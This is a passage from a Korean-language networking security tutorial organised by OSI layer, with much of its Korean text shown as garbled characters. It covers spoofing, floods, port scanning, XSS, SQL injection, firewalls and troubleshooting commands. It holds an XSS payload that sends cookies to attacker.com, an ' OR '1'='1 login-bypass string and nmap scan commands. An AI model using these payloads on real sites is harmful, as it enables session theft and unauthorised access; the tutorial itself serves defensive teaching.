- Dynamic ARP Inspection (DAI): ์ค์์น์์ DHCP ๋ฐ์ธ๋ฉ ํ ์ด๋ธ๊ณผ ๋น๊ตํด ๋น์ ์ ARP ํจํท์ ์ฐจ๋จํ๋ค.
- Port Security: ์ค์์น ํฌํธ๋น ํ์ฉ MAC ์ฃผ์ ์๋ฅผ ์ ํํ๋ค.
- Static ARP Entry: ์ค์ ์์คํ (๊ฒ์ดํธ์จ์ด ๋ฑ)์ ARP๋ฅผ ์ ์ ์ผ๋ก ๊ณ ์ ํ๋ค.
- ARP ์คํธํ ํ์ง ๋๊ตฌ (arpwatch ๋ฑ) ํ์ฉ.
3๊ณ์ธต: IP Spoofing / ICMP Flood
IP Spoofing (IP ์ฃผ์ ์์กฐ)
ํจํท์ ์ถ๋ฐ์ง IP ์ฃผ์๋ฅผ ์์กฐํ๋ ๊ณต๊ฒฉ์ด๋ค. ๊ณต๊ฒฉ์์ ์ค์ ์์น๋ฅผ ์จ๊ธฐ๊ฑฐ๋, ๋ฐ์ฌ(reflection) ๊ณต๊ฒฉ์ ํ์ฉ๋๋ค.
๋ฐ์ฌ/์ฆํญ ๊ณต๊ฒฉ ์์:
๊ณต๊ฒฉ์ โ DNS ์๋ฒ์ ์ฟผ๋ฆฌ ์ ์ก (์ถ๋ฐ์ง IP = ํผํด์ IP๋ก ์์กฐ)
DNS ์๋ฒ โ ํผํด์์๊ฒ ๋์ฉ๋ ์๋ต ์ ์ก (์ฆํญ)์์ ์ฟผ๋ฆฌ๋ก ํฐ ์๋ต์ ์ ๋ํด ํผํด์์๊ฒ ํญํ์ฒ๋ผ ์์๋ด๋ ๋ฐฉ์์ด๋ค.
ICMP Flood (ํ ํญํ)
๋๋์ ICMP Echo Request(ping)๋ฅผ ๋ณด๋ด ๋์ญํญ์ด๋ CPU๋ฅผ ๊ณ ๊ฐ์ํค๋ ๊ณต๊ฒฉ์ด๋ค. Smurf Attack์ ๋ธ๋ก๋์บ์คํธ ์ฃผ์๋ก ์ถ๋ฐ์ง IP๋ฅผ ํผํด์๋ก ์์กฐํ ICMP๋ฅผ ๋ณด๋ด ๋คํธ์ํฌ ๋ด ๋ชจ๋ ์ฅ์น๊ฐ ํผํด์์๊ฒ ping ์๋ต์ ๋ณด๋ด๊ฒ ๋ง๋๋ ๋ณํ์ด๋ค.
๋์:
- uRPF (Unicast Reverse Path Forwarding): ๋ผ์ฐํฐ๊ฐ ํจํท ์ถ๋ฐ์ง IP์ ๊ฒฝ๋ก๋ฅผ ์ญ๋ฐฉํฅ์ผ๋ก ํ์ธํด, ์์กฐ๋ IP์์ ์จ ํจํท์ ์ฐจ๋จํ๋ค.
- ISP ๋ ๋ฒจ์ BCP38 ๊ตฌํ (egress ํํฐ๋ง์ผ๋ก ์๊ธฐ ๋คํธ์ํฌ์์ ์์กฐ IP ์ ์ถ ์ฐจ๋จ).
- ๋ฐฉํ๋ฒฝ์์ ์ธ๋ถ์์ ๋ด๋ถ IP๋ก ์์ฅ๋ ํจํท ์ฐจ๋จ (ingress ํํฐ๋ง).
- ICMP๋ฅผ ์์ ํ ์ฐจ๋จํ๊ธฐ๋ณด๋ค๋ Rate Limiting์ผ๋ก ์ ํํ๋ค (์์ ์ฐจ๋จ ์ traceroute ๋ฑ๋ ์ ๋จ).
4๊ณ์ธต: SYN Flood / ํฌํธ ์ค์บ๋
SYN Flood
TCP 3-way Handshake๋ฅผ ์ ์ฉํ ๊ณต๊ฒฉ์ด๋ค. ๊ณต๊ฒฉ์๊ฐ ์๋ฐฑ๋ง ๊ฐ์ SYN ํจํท์ ๋ณด๋ด๋๋ฐ, ์ด๋ ์ถ๋ฐ์ง IP๋ฅผ ์์กฐํด์ ์๋ฒ๊ฐ SYN-ACK๋ฅผ ๋ณด๋ด๋ ๋์์ค์ง ์๊ฒ ํ๋ค.
๊ณต๊ฒฉ์ โ SYN (์ถ๋ฐ์ง IP ์์กฐ)
์๋ฒ โ SYN-ACK ์ ์ก (but ์๋ต์ด ์ค์ง ์์)
์๋ฒ โ half-open ์ฐ๊ฒฐ์ ๋ฐฑ๋ก๊ทธ ํ์ ์ ์ฅํ๋ฉฐ ๋๊ธฐ
...
๋ฐฑ๋ก๊ทธ ํ ๊ฐ๋ ์ฐธ โ ์ ์ ์ฐ๊ฒฐ ์์ฒญ ์ฒ๋ฆฌ ๋ถ๊ฐ๋์:
- SYN Cookie: ๋ฐฑ๋ก๊ทธ ํ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ , SYN-ACK์ ์ํ์ค ๋ฒํธ์ ์ฐ๊ฒฐ ์ ๋ณด๋ฅผ ์ธ์ฝ๋ฉํ๋ค. ์ค์ ACK๊ฐ ๋์์์ผ ์ฐ๊ฒฐ์ ์๋ฆฝํ๋ค (Linux์์
net.ipv4.tcp_syncookies=1). - Rate Limiting: ์ถ๋ฐ์ง IP๋น SYN ์์ฒญ ์๋๋ฅผ ์ ํํ๋ค.
- ๋ฐฉํ๋ฒฝ / DDoS ๋ฐฉ์ด ์ฅ๋น: ๋น์ ์ SYN ํจํท์ ํํฐ๋งํ๋ค.
ํฌํธ ์ค์บ๋
๊ณต๊ฒฉ์๊ฐ ๋์ ์์คํ ์ ์ด๋ฆฐ ํฌํธ๋ฅผ ํ์ธํ๋ ์ ์ฐฐ ํ์๋ค. nmap์ด ๋ํ์ ์ธ ๋๊ตฌ๋ค.
# TCP SYN ์ค์บ (์คํ
์ค ์ค์บ)
nmap -sS 192.168.1.1
# ์๋น์ค ๋ฒ์ ํ์ง
nmap -sV 192.168.1.1
# OS ํ์ง
nmap -O 192.168.1.1๋์:
- ๋ถํ์ํ ํฌํธ๋ ๋ซ๋๋ค.
- ๋ฐฉํ๋ฒฝ์์ ํ์ฉ๋ ํฌํธ๋ง ์ด์ด๋๋ค.
- IDS/IPS๋ก ํฌํธ ์ค์บ๋ ํจํด(๋จ์๊ฐ ๋ค์ ํฌํธ ์ ๊ทผ)์ ํ์งํ๋ค.
- Port Knocking์ผ๋ก SSH ๋ฑ ๊ด๋ฆฌ ํฌํธ๋ฅผ ์จ๊ธด๋ค.
7๊ณ์ธต: XSS / SQL Injection / HTTP Request Smuggling
XSS (Cross-Site Scripting)
๊ณต๊ฒฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์น ํ์ด์ง์ ์ฝ์ ํ๊ณ , ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํ๋๊ฒ ๋ง๋๋ ๊ณต๊ฒฉ์ด๋ค.
<!-- ๊ฒ์๊ธ ์ ๋ชฉ์ ์ฝ์
๋ ์
์ฑ ์ฝ๋ -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>ํผํด์๊ฐ ์ด ๊ฒ์๊ธ์ ๋ณด๋ฉด, ์ฟ ํค(์ธ์ ํ ํฐ)๊ฐ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก๋๋ค.
๋์: ์ ๋ ฅ๊ฐ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌ, CSP(Content Security Policy) ํค๋, HttpOnly ์ฟ ํค ์์ฑ.
SQL Injection
์ฌ์ฉ์ ์ ๋ ฅ์ด SQL ์ฟผ๋ฆฌ์ ์ง์ ์ฝ์ ๋ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ด๋ค.
-- ์ ์ ์ฟผ๋ฆฌ ์๋
SELECT * FROM users WHERE username = 'alice' AND password = '1234';
-- ๊ณต๊ฒฉ์ ์
๋ ฅ: username = "' OR '1'='1"
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';
-- 1=1 ์ ํญ์ ์ฐธ โ ์ธ์ฆ ์ฐํ๋์: ํ๋ผ๋ฏธํฐํ ์ฟผ๋ฆฌ(Prepared Statement), ORM ์ฌ์ฉ, ์ ๋ ฅ ๊ฒ์ฆ, ์ต์ ๊ถํ DB ๊ณ์ .
HTTP Request Smuggling
ํ๋ก ํธ์๋ ์๋ฒ(๋ฆฌ๋ฒ์ค ํ๋ก์)์ ๋ฐฑ์๋ ์๋ฒ๊ฐ HTTP ์์ฒญ์ ๊ฒฝ๊ณ๋ฅผ ๋ค๋ฅด๊ฒ ํด์ํ๋ ์ฐจ์ด๋ฅผ ์
์ฉํ๋ ๊ณต๊ฒฉ์ด๋ค. Content-Length์ Transfer-Encoding: chunked ํค๋๋ฅผ ๋์์ ๋ณด๋ด ์์ฒญ ๊ฒฝ๊ณ๋ฅผ ํ๋ฆฌ๊ฒ ๋ง๋ ๋ค.
๊ณต๊ฒฉ์ ์ฑ๊ณตํ๋ฉด ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ์ ๊ฐ๋ก์ฑ๊ฑฐ๋, ๋ด๋ถ API์ ์ ๊ทผํ๊ฑฐ๋, ์บ์๋ฅผ ์ค์ผ์ํฌ ์ ์๋ค.
๋์: ํ๋ก์์ ๋ฐฑ์๋ ์๋ฒ ๊ฐ HTTP ํ์๋ฅผ ์ผ๊ด๋๊ฒ ๊ตฌ์ฑ, HTTP/2 ์ฌ์ฉ(smuggling์ ๊ฐํจ), WAF ์ ์ฉ.
Wireshark๋ก ํจํท ์บก์ฒ ์ค์ต
์ด๋ก ์ผ๋ก ๋ฐฐ์ด OSI ๊ณ์ธต์ ๋์ผ๋ก ํ์ธํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ด Wireshark๋ค. ๊ฐ ๊ณ์ธต์ ํค๋๋ฅผ ์ค์ ๋ก ๋ณผ ์ ์๋ค.
Wireshark์์ ๋ณด์ด๋ ๊ณ์ธต ๊ตฌ์กฐ
Wireshark๋ฅผ ์ด๊ณ ํจํท ํ๋๋ฅผ ํด๋ฆญํ๋ฉด ํ๋จ์ ๊ณ์ธต๋ณ๋ก ํ์ฑ๋ ์ ๋ณด๊ฐ ํธ๋ฆฌ ํํ๋ก ๋์จ๋ค.
Frame 42: 74 bytes on wire โ 1๊ณ์ธต (๋ฌผ๋ฆฌ - ํ๋ ์ ํฌ๊ธฐ)
Ethernet II, Src: aa:bb:cc:dd:ee:ff โ 2๊ณ์ธต (MAC ์ฃผ์)
Internet Protocol Version 4, Src: 192.168.1.5 โ 3๊ณ์ธต (IP)
Transmission Control Protocol, Src Port: 54321 โ 4๊ณ์ธต (TCP/ํฌํธ)
Hypertext Transfer Protocol โ 7๊ณ์ธต (HTTP)ํธ๋ฆฌ์ ๊ฐ ํญ๋ชฉ์ ํผ์น๋ฉด ํด๋น ํค๋์ ๋ชจ๋ ํ๋๋ฅผ ๋ณผ ์ ์๋ค. ์๋ฅผ ๋ค์ด IP ํค๋๋ฅผ ํผ์น๋ฉด TTL, ํ๋กํ ์ฝ ๋ฒํธ, ์ฒดํฌ์ฌ๊น์ง ํ์ธ๋๋ค.
์์ฃผ ์ฐ๋ ํํฐ
Wireshark์ ๋์คํ๋ ์ด ํํฐ(์๋จ ์ ๋ ฅ์ฐฝ)๋ก ์ํ๋ ํจํท๋ง ์ถ๋ ค๋ณผ ์ ์๋ค.
| ํํฐ | ์ค๋ช |
|---|---|
tcp |
TCP ํจํท๋ง ๋ณด๊ธฐ |
udp |
UDP ํจํท๋ง ๋ณด๊ธฐ |
http |
HTTP ํจํท๋ง ๋ณด๊ธฐ |
dns |
DNS ์ฟผ๋ฆฌ/์๋ต ๋ณด๊ธฐ |
ip.addr == 192.168.1.1 |
ํน์ IP ๊ด๋ จ ํจํท |
ip.src == 10.0.0.1 |
ํน์ IP์์ ์ถ๋ฐํ ํจํท |
tcp.port == 443 |
ํน์ ํฌํธ ๊ด๋ จ ํจํท |
tcp.flags.syn == 1 |
SYN ํจํท๋ง (์ฐ๊ฒฐ ์๋) |
tcp.flags.reset == 1 |
RST ํจํท (์ฐ๊ฒฐ ๊ฑฐ๋ถ/๋ฆฌ์ ) |
http.request.method == "GET" |
HTTP GET ์์ฒญ๋ง |
http contains "password" |
ํน์ ๋ฌธ์์ด ํฌํจ ํจํท |
ํํฐ๋ AND/OR ์กฐํฉ๋ ๊ฐ๋ฅํ๋ค:
ip.addr == 192.168.1.5 && tcp.port == 80
tcp.flags.syn == 1 && !tcp.flags.ack == 13-way Handshake๋ฅผ Wireshark๋ก ํ์ธํ๊ธฐ
TCP ์ฐ๊ฒฐ ์๋ฆฝ์ ์ง์ ๋ณด๊ณ ์ถ๋ค๋ฉด:
- Wireshark ์บก์ฒ ์์
curl http://example.com์คํ- ํํฐ:
tcp && ip.addr == 93.184.216.34(example.com IP) - SYN โ SYN-ACK โ ACK ์์๋ก ํจํท 3๊ฐ๊ฐ ๋ณด์
๊ฐ ํจํท์ ํด๋ฆญํด์ TCP ํค๋๋ฅผ ํผ์น๋ฉด Sequence number, Acknowledgment number, Flags ํ๋๋ฅผ ์ง์ ํ์ธํ ์ ์๋ค.
HTTPS ํธ๋ํฝ ๋ณตํธํ
HTTPS๋ ์ํธํ๋ผ ์์ด์ ๊ธฐ๋ณธ์ ์ผ๋ก Wireshark์์ ๋ด์ฉ์ด ์ ๋ณด์ธ๋ค. ๊ทธ๋ฌ๋ ํด๋ผ์ด์ธํธ์ SSLKEYLOGFILE ํ๊ฒฝ๋ณ์๋ฅผ ์ค์ ํ๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ์ธ์ ํค๋ฅผ ํ์ผ์ ๊ธฐ๋กํ๊ณ , Wireshark๊ฐ ์ด๋ฅผ ์ฝ์ด ๋ณตํธํํ ์ ์๋ค.
# Linux/Mac
export SSLKEYLOGFILE=~/ssl-keys.log
google-chrome & # ๋๋ firefox
# Wireshark โ Edit โ Preferences โ Protocols โ TLS
# (Pre)-Master-Secret log filename์ ~/ssl-keys.log ์
๋ ฅ์ดํ HTTPS ํธ๋ํฝ๋ HTTP์ฒ๋ผ ํ๋ฌธ์ผ๋ก ๋ณด์ธ๋ค. ๊ฐ๋ฐ/๋๋ฒ๊น ์ฉ๋๋ก๋ง ์ฌ์ฉํด์ผ ํ๋ค.
์บก์ฒ ํํฐ vs ๋์คํ๋ ์ด ํํฐ
- ์บก์ฒ ํํฐ (์บก์ฒ ์์ ์ ์ค์ ): ์ ์ฅ ์์ฒด๋ฅผ ํํฐ๋ง. ๋์คํฌ ์ ์ฝ์ ์ ๋ฆฌ. BPF(Berkeley Packet Filter) ๋ฌธ๋ฒ ์ฌ์ฉ.
port 80 or port 443 host 192.168.1.1 - ๋์คํ๋ ์ด ํํฐ (์บก์ฒ ํ ๋ณด๊ธฐ ํํฐ): ์ด๋ฏธ ์ ์ฅ๋ ๋ฐ์ดํฐ์์ ํํฐ๋ง. Wireshark ์ ์ฉ ๋ฌธ๋ฒ ์ฌ์ฉ.
์ค๋ฌด์์๋ "์ผ๋จ ๋ค ์บก์ฒํ ๋ค ํํฐ"ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ง๋ง, ํธ๋ํฝ์ด ๋ง์ ํ๊ฒฝ์์๋ ์บก์ฒ ํํฐ๋ก ๋์์ ์ขํ๋๋ ๊ฒ ์ข๋ค.
๋ฐฉํ๋ฒฝ, IPS/IDS์ OSI ๊ณ์ธต๋ณ ๋์ ๋ฐฉ์
๋ณด์ ์ฅ๋น๊ฐ ์ด๋ ๊ณ์ธต์์ ๋์ํ๋์ง ์ดํดํ๋ฉด, ์ฅ๋น์ ํ๊ณ์ ์ ์ฉ ๋ฒ์๋ฅผ ํ์ ํ๊ธฐ ์ฌ์์ง๋ค.
๊ณ์ธต๋ณ ๋ณด์ ์ฅ๋น ์์น
| ์ฅ๋น | ์ฃผ์ ๋์ ๊ณ์ธต | ๊ฒ์ฌ ๋ด์ฉ |
|---|---|---|
| ํ๋ธ | 1๊ณ์ธต | ์ ํธ ์ฆํญ๋ง, ๋ณด์ ๊ธฐ๋ฅ ์์ |
| ์ค์์น(Port Security, DAI) | 2๊ณ์ธต | MAC ์ฃผ์, ARP ๊ฒ์ฆ |
| ํจํท ํํฐ๋ง ๋ฐฉํ๋ฒฝ | 3~4๊ณ์ธต | IP ์ฃผ์, ํฌํธ ๋ฒํธ, ํ๋กํ ์ฝ |
| Stateful ๋ฐฉํ๋ฒฝ | 3~4๊ณ์ธต | ์ฐ๊ฒฐ ์ํ ์ถ์ (์ธ์ ํ ์ด๋ธ) |
| IDS/IPS | 3~7๊ณ์ธต | ํจํท ๋ด์ฉ, ์๊ทธ๋์ฒ/์ด์ ํ์ง |
| ์ฐจ์ธ๋ ๋ฐฉํ๋ฒฝ (NGFW) | 3~7๊ณ์ธต | ์ ํ๋ฆฌ์ผ์ด์ ์๋ณ, DPI |
| WAF (Web Application Firewall) | 7๊ณ์ธต | HTTP ์์ฒญ/์๋ต, XSS, SQLi |
ํจํท ํํฐ๋ง ๋ฐฉํ๋ฒฝ (3~4๊ณ์ธต)
๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ๋ฐฉํ๋ฒฝ์ด๋ค. IP ์ฃผ์(3๊ณ์ธต)์ ํฌํธ ๋ฒํธ(4๊ณ์ธต)๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ์ฉ/์ฐจ๋จ์ ๊ฒฐ์ ํ๋ค. ํจํท ๋ด๋ถ ๋ด์ฉ์ ๋ณด์ง ์๋๋ค.
๊ท์น ์์:
ALLOW TCP 10.0.0.0/24 โ 192.168.1.10:443
DENY TCP ANY โ 192.168.1.10:22ํ๊ณ: ํ์ฉ๋ ํฌํธ๋ก ์
์ฑ ํธ๋ํฝ์ด ๋ค์ด์๋ ๋ง์ ์ ์๋ค. TCP 80์ ์ด์ด๋์ผ๋ฉด HTTP๋ฅผ ๊ฐ์ฅํ C2 ํธ๋ํฝ๋ ํต๊ณผํ๋ค.
Stateful ๋ฐฉํ๋ฒฝ (3~4๊ณ์ธต + ์ธ์ ์ถ์ )
์ฐ๊ฒฐ ์ํ๋ฅผ ์ถ์ ํด "์ด ํจํท์ด ์ ์์ ์ธ TCP ์ธ์ ์ ์ผ๋ถ์ธ๊ฐ"๋ฅผ ํ์ธํ๋ค. ์ธ๋ถ์์ ๋ค์ด์ค๋ ํจํท์ด ๋ด๋ถ์์ ์์๋ ์ฐ๊ฒฐ์ ์๋ต์ธ์ง ํ์ธํ๊ธฐ ๋๋ฌธ์, ํจํท ํํฐ๋ง๋ณด๋ค ํจ์ฌ ์์ ํ๋ค.
RST๋ FIN ์์ด ๊ฐ์๊ธฐ ์ค๊ฐ์ ๋ํ๋ ํจํท, ์ํ์ค ๋ฒํธ๊ฐ ์ด์ํ ํจํท ๋ฑ์ ํ์งํ ์ ์๋ค.
IDS/IPS (3~7๊ณ์ธต)
- IDS (Intrusion Detection System): ํ์ง๋ง ํ๋ค. ํธ๋ํฝ์ ๋ชจ๋ํฐ๋งํ๋ค๊ฐ ์ด์ ํจํด์ ๋ฐ๊ฒฌํ๋ฉด ์๋ฆผ์ ๋ณด๋ธ๋ค. ์ธ๋ผ์ธ์ด ์๋ ์คํจ๋(๋ฏธ๋ฌ) ํฌํธ๋ก ์ฐ๊ฒฐํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค.
- IPS (Intrusion Prevention System): ํ์ง + ์ฐจ๋จ. ์ธ๋ผ์ธ์ผ๋ก ์ฐ๊ฒฐ๋ผ ์ค์๊ฐ์ผ๋ก ํจํท์ ๋ง๋๋ค.
๋ ์ฅ๋น ๋ชจ๋ **ํจํท ๋ด์ฉ(ํ์ด๋ก๋)**์ ๋ค์ฌ๋ค๋ณด๋ **DPI(Deep Packet Inspection)**๋ฅผ ์ฌ์ฉํ๋ค. 7๊ณ์ธต๊น์ง ๋ถ์ํด์ ์๋ ค์ง ๊ณต๊ฒฉ ์๊ทธ๋์ฒ์ ๋น๊ตํ๊ฑฐ๋, ๋น์ ์์ ์ธ ํ๋ ํจํด์ ํ์งํ๋ค.
์: IPS ์๊ทธ๋์ฒ
- HTTP ์์ฒญ์ "' OR 1=1" ํฌํจ โ SQL Injection ์ฐจ๋จ
- User-Agent์ ์๋ ค์ง ์ค์บ๋ ๋ฌธ์์ด โ ํฌํธ ์ค์บ ํ์ง
- ๋จ์๊ฐ ๋ด ๋์ผ IP์์ SYN ์์ฒ ๊ฐ โ SYN Flood ์ฐจ๋จNGFW (Next-Generation Firewall)
๊ธฐ์กด Stateful ๋ฐฉํ๋ฒฝ + IPS + ์ ํ๋ฆฌ์ผ์ด์ ์ธ์ ๊ธฐ๋ฅ์ ํฉ์น ์ฅ๋น๋ค.
ํฌํธ ๋ฒํธ๊ฐ ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ณํ๋ ๊ฒ์ด ํต์ฌ์ด๋ค. TCP 443์ด ์ด๋ ค์์ด๋ ๊ทธ๊ฒ HTTPS์ธ์ง, ์ํธํ๋ C2 ํต์ ์ธ์ง, BitTorrent์ธ์ง๋ฅผ ๊ตฌ๋ถํ ์ ์๋ค. SSL/TLS ๋ณตํธํ ๊ธฐ๋ฅ๋ ํ์ฌ๋ผ ์ํธํ๋ ํธ๋ํฝ ๋ด๋ถ๋ ๊ฒ์ฌํ๋ค.
WAF (Web Application Firewall) โ 7๊ณ์ธต ์ ๋ฌธ
HTTP/HTTPS ํธ๋ํฝ์ ํนํ๋ ๋ฐฉํ๋ฒฝ์ด๋ค. ์ ํ๋ฆฌ์ผ์ด์ ๋ ๋ฒจ์ ๊ณต๊ฒฉ์ ๋ง๋๋ค.
- XSS, SQL Injection, CSRF, Path Traversal ๋ฑ OWASP Top 10 ๊ณต๊ฒฉ ํจํด ํ์ง
- HTTP ์์ฒญ/์๋ต ํค๋, ๋ฐ๋ ์ ์ฒด๋ฅผ ๋ถ์
- ์์ฑ ๋ชจ๋ธ(ํ์ดํธ๋ฆฌ์คํธ)๊ณผ ์์ฑ ๋ชจ๋ธ(๋ธ๋๋ฆฌ์คํธ/์๊ทธ๋์ฒ) ๋ชจ๋ ์ง์
- Cloudflare WAF, AWS WAF, ModSecurity ๋ฑ์ด ๋ํ์
์ค๋ฌด ์๋๋ฆฌ์ค๋ณ ํธ๋ฌ๋ธ์ํ
"๋ญ๊ฐ ์ ๋๋ค"๋ ์ ๊ณ ๋ฅผ ๋ฐ์์ ๋, OSI ๊ณ์ธต์ ๊ธฐ๋ฐ์ผ๋ก ์์ธ์ ์ขํ๊ฐ๋ ๋ฐฉ๋ฒ์ ์๋๋ฆฌ์ค๋ณ๋ก ์ ๋ฆฌํ๋ค.
์๋๋ฆฌ์ค 1: "ping์ ๋๋๋ฐ curl์ด ์ ๋๋ค"
ping 192.168.1.10 โ ์ฑ๊ณต
curl http://192.168.1.10 โ ์คํจ (Connection refused ๋๋ Timeout)๋ถ์: ping์ ICMP(3๊ณ์ธต)๋ก ๋์ํ๋ค. ping์ด ๋๋ค๋ ๊ฑด 1~3๊ณ์ธต์ ์ ์์ด๋ผ๋ ์๋ฏธ๋ค.
curl์ด ์ ๋๋ค๋ ๊ฑด 4๊ณ์ธต ์ด์์ ๋ฌธ์ ๊ฐ ์๋ค๋ ๋ป์ด๋ค.
# 4๊ณ์ธต ํ์ธ โ ํฌํธ๊ฐ ์ด๋ ค ์๋์ง
nc -zv 192.168.1.10 80 # Connection refused ๋๋ Timeout?
telnet 192.168.1.10 80
# ์๋ฒ ์ธก์์ ์๋น์ค ๊ตฌ๋ ์ฌ๋ถ
ss -tulpn | grep :80
netstat -tulpn | grep :80
# ๋ฐฉํ๋ฒฝ ํ์ธ (์๋ฒ ์ธก)
iptables -L -n | grep 80
firewall-cmd --list-all๊ฐ๋ฅํ ์์ธ:
- ์๋ฒ์์ ์น ์๋น์ค(nginx, apache)๊ฐ ์ ๋ ์์ โ 7๊ณ์ธต ๋ฌธ์
- 80 ํฌํธ๊ฐ ๋ฐฉํ๋ฒฝ์์ ๋งํ ์์ โ 4๊ณ์ธต ๋ฌธ์
- ์๋น์ค๊ฐ 80์ด ์๋ ๋ค๋ฅธ ํฌํธ์์ ๋ฆฌ์ค๋ ์ค โ ์ค์ ๋ฌธ์
์๋๋ฆฌ์ค 2: "๊ฐ์ ๋ง์์๋ง ๋๋ค, ์ธ๋ถ์์ ์ ๋๋ค"
๋ด๋ถ(192.168.x.x): ์ ์ ์ฑ๊ณต
์ธ๋ถ(์ธํฐ๋ท): ์ ์ ์คํจ๋ถ์: ๋ด๋ถ๋ 2~3๊ณ์ธต์ผ๋ก ํต์ ๊ฐ๋ฅํ๋ค. ์ธ๋ถ์์ ์ ๋๋ค๋ ๊ฑด ๋ผ์ฐํ ๋๋ ๋ฐฉํ๋ฒฝ ๋ฌธ์ ๋ค.
# ์ธ๋ถ โ ๋ด๋ถ ๋ผ์ฐํ
ํ์ธ
traceroute [์ธ๋ถ์์ ์๋ฒ IP๋ก]
# ์๋ฒ ์ธก ๊ธฐ๋ณธ ๊ฒ์ดํธ์จ์ด ์ค์ ํ์ธ
ip route show
route -n
# NAT ์ค์ ํ์ธ (๊ณต์ ๊ธฐ ๋๋ ๋ฐฉํ๋ฒฝ)
# ์๋ฒ ์๋ต์ด ๊ณต์ธ IP๋ก ๋๊ฐ๋์ง ํ์ธ
# ๋ฐฉํ๋ฒฝ์์ ์ธ๋ถ ์ ๊ทผ ํ์ฉ ์ฌ๋ถ
iptables -L FORWARD -n๊ฐ๋ฅํ ์์ธ:
- ํฌํธ ํฌ์๋ฉ ๋ฏธ์ค์ โ ๊ณต์ ๊ธฐ/๋ฐฉํ๋ฒฝ์์ ์ธ๋ถ ํฌํธ๋ฅผ ๋ด๋ถ ์๋ฒ๋ก ์ ๋ฌ ์ ๋จ
- ์๋ฒ์ ๊ธฐ๋ณธ ๊ฒ์ดํธ์จ์ด๊ฐ ์๋ชป๋จ โ ์์ฒญ์ ๋ค์ด์ค๋๋ฐ ์๋ต์ด ๋๊ฐ๋ ๊ฒฝ๋ก๊ฐ ์์ (asymmetric routing)
- ISP ๋ ๋ฒจ์์ ํด๋น ํฌํธ ์ฐจ๋จ (25๋ฒ ํฌํธ ์ฐจ๋จ ๋ฑ)
- ๋ณด์ ๊ทธ๋ฃน / ํด๋ผ์ฐ๋ ACL ๋ฏธ์ค์
์๋๋ฆฌ์ค 3: "SSL ์ธ์ฆ์ ์ค๋ฅ๊ฐ ๋๋ค"
๋ธ๋ผ์ฐ์ : "์ฐ๊ฒฐ์ด ๋น๊ณต๊ฐ๋ก ์ค์ ๋์ด ์์ง ์์ต๋๋ค" / NET::ERR_CERT_AUTHORITY_INVALID
curl: SSL certificate problem: certificate has expired๋ถ์: TLS๋ 6๊ณ์ธต์์ ๋์ํ์ง๋ง, ์ธ์ฆ์ ์ค๋ฅ์ ์์ธ์ ๋ค์ํ๋ค.
# ์ธ์ฆ์ ์์ธ ํ์ธ
openssl s_client -connect example.com:443 -servername example.com
# โ ์ธ์ฆ์ ๋ง๋ฃ์ผ, ๋ฐ๊ธ๊ธฐ๊ด, SAN(Subject Alternative Name) ํ์ธ
# ์ธ์ฆ์ ๋ง๋ฃ์ผ ๋น ๋ฅด๊ฒ ํ์ธ
echo | openssl s_client -connect example.com:443 2>/dev/null | \
openssl x509 -noout -dates
# ์ธ์ฆ์ ์ฒด์ธ ํ์ธ
openssl s_client -connect example.com:443 -showcerts๊ฐ๋ฅํ ์์ธ๊ณผ ๊ณ์ธต:
| ์ค๋ฅ ๋ฉ์์ง | ์์ธ | ๊ณ์ธต |
|---|---|---|
| Certificate expired | ์ธ์ฆ์ ๋ง๋ฃ | 6๊ณ์ธต |
| Certificate not trusted | ์์ฒด ์๋ช ๋๋ ์ค๊ฐ CA ์ฒด์ธ ๋๋ฝ | 6๊ณ์ธต |
| Certificate hostname mismatch | SAN์ ๋๋ฉ์ธ์ด ์์ | 6๊ณ์ธต/7๊ณ์ธต |
| Connection timeout | 443 ํฌํธ ์ฐจ๋จ | 4๊ณ์ธต |
| Certificate valid but page errors | ํผํฉ ์ปจํ ์ธ (HTTP+HTTPS) | 7๊ณ์ธต |
์๋๋ฆฌ์ค 4: "๊ฐํ์ ์ผ๋ก ๋๊ธด๋ค"
๋๋ถ๋ถ ์ ์, ๊ฐ๋ ์๋ต ์์, ์ฌ์ ์ํ๋ฉด ๋จ๋ถ์: ๊ฐํ์ ๋ฌธ์ ๋ ๊ฐ์ฅ ์ฐพ๊ธฐ ์ด๋ ต๋ค. ๊ณ์ธต๋ณ๋ก ๋จ์๋ฅผ ๋ชจ์์ผ ํ๋ค.
# ํจํท ์์ค๋ฅ ํ์ธ (1~3๊ณ์ธต)
ping -c 100 [๊ฒ์ดํธ์จ์ด] # ํจํท ๋ก์ค % ํ์ธ
mtr [๋ชฉ์ ์ง] # ๊ฒฝ๋ก๋ณ ์์ค๋ฅ ์ค์๊ฐ ํ์ธ
# TCP ์ฌ์ ์ก ํต๊ณ (4๊ณ์ธต)
netstat -s | grep retransmit
ss -ti # TCP ์์ผ๋ณ ์ฌ์ ์ก ์นด์ดํธ
# ์ธํฐํ์ด์ค ์ค๋ฅ (1~2๊ณ์ธต)
ip -s link show eth0 # RX/TX errors, drops ํ์ธ
ethtool eth0 # ๋ํ๋ ์ค, ์๋ ํ์ ์ํ
# ๋ก๊ทธ์์ ํ์์์/RST ๊ธฐ๋ก
dmesg | grep -i "eth\|link\|timeout"
journalctl -u NetworkManager --since "1 hour ago"๊ฐ๋ฅํ ์์ธ:
- ์ผ์ด๋ธ ๋ถ๋ โ 1๊ณ์ธต (ํจํท ์์ค, CRC ์ค๋ฅ)
- ํฌํธ ์๋/๋ํ๋ ์ค ํ์ ๋ถ์ผ์น โ 2๊ณ์ธต
- ๋ผ์ฐํ ๊ฒฝ๋ก ๋ณ๊ฒฝ (BGP flapping) โ 3๊ณ์ธต
- TCP ํ์์์ ์ค์ ์ด ๋๋ฌด ์งง์ โ 4๊ณ์ธต
